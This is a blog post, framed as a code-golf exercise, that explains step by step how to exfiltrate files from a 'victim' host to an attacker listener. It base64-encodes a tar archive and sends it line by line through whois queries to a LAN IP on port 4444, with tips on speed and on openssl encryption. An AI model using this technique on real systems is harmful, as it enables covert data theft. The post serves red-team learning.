Bash Golf with Whois
If you have never played Code Golf before, the essential idea is that you take a programming goal, such as “Print all prime numbers from 1 to 100”, and then try to do so in the most efficient / least amount of lines possible.
There is a great website where these challenges can be found: https://code-golf.io/
I enjoy playing code golf, so when I saw the following tweet, I had to try it out:
The tweet 1102558893513687040 from @Kevin2600 was deleted but it had the following commands in the image: (making up an IP since it was blacked out):
Victim:
|
|
Attacker:
|
|
Now, a lot of respondents mentioned that you could use the /dev/tcp
method or awk
.
Why whois?
— Malwrologist (@DissectMalware) March 5, 2019
TCPhttps://t.co/6UstTUeJ4M
awkhttps://t.co/QlCoAXFvKh
Much easier and faster!
While this is awesome and true, and for practicality should be used instead of whois
, it is more about the mental stretch and exercise for me. You never know, there might a situation where you can’t use either of those and whois
is still there.
This is the solution I came up with to both increase the file size limit, and add a bit of error correction:
(Here is my reply: https://twitter.com/mubix/status/1102780435271176198)
First we set up a listener:
|
|
tee
is used to pipe the contents to a file as well as see it on the console so you can make sure you have it. You can substitute this with just > files.b64
if you wish.
Options:
-k
: means keep the connection open. We need this option as we are going to be doing many requests withwhois
-l
: listen on a port.. and-p
: what port to listen on
Next we send the files over the wire:
|
|
Breakdown:
tar czf - /bin/*
: Create atar
ball using compression(c
), and gzip(z
) to the file(f
) of standard output(-
) using all of the files in thebin
folder (/bin/*
)base64
: Base64 encode that standard outputxargs -I bits
: for every line do the following command while replacing the wordbits
in the command with the contents of the preceding lines (from the base64)timeout 0.03
: This times out thewhois
command so that it closes the connection because there isn’t a response from the other end (it’s just capturing packets). This is REALLY fast and only should be used in LAN connections. Set the timeout to0.10
or similar for doing things across the Internet.whois -h 192.168.80.107 -p 4444 bits
: Send thebits
(which is replaced with the base64 line)whois
query to192.168.80.107
over port4444
.
What you should see on the attacker side is a bunch of Base64 lines scrolling across the screen.
Finally:
|
|
Breakdown:
cat files.b64
: print all the base64 lines to standard outputtr -d '\r\n'
: remove all the newlines and returns to make one long base64 line to decodebase64 -d
: decode the base64 linetar zxv
:x
extract the tar ball usingz
gzip and bev
verbose about it.
Errors:
-
If you receive a
base64: invalid input
when doing the final step it is most likely that your timeout was too fast and some of the lines didn’t transfer completely. -
If you get something like the following you have had some corruption during the transfer. This can happen and does so a lot during such a long transfer (13 MB took 98 minutes as you’ll see below).
|
|
Improvements:
Speed:
One improvement to the speed is the number of bytes you send with each whois
request, which is based on the line length of the base64 output with the -w
flag. I have been able to increase this to 255 without much trouble like so: base64 -w255
Example:
|
|
Even with this speed up sending all of /bin/
took 98 minutes using a timeout of 0.20
. You can decrease this considerably depending on the network connection you have between the victim and attackerbox, but you need to be careful or you’ll end up with corrupted data if you go too fast.
Size of /bin/
:
|
|
Total time:
|
|
Encryption:
While adding encryption will add more complexity and size to the transfer it will ensure confidentiality of the data being transfered. Simply adding openssl enc -e -aes256 -out -
to the line before the base64
works to solve this (as long as you select a good password). You will also need a full TTY (interactive terminal) to do this as it will prompt you for a password twice.
Example:
|
|
Challenge
Think you can make this more efficient? Add error correction? I would love to see tweets or comments stating where this can be improved using only built in binaries (no python/ruby/perl/awk). Let me know! I look forward to hearing from you.
Other methods
For those looking for a lot more file uploads or other such exploitation techniques, check out GTFOBins and in particular https://gtfobins.github.io/#+file%20upload. whois
is detailed here: https://gtfobins.github.io/gtfobins/whois/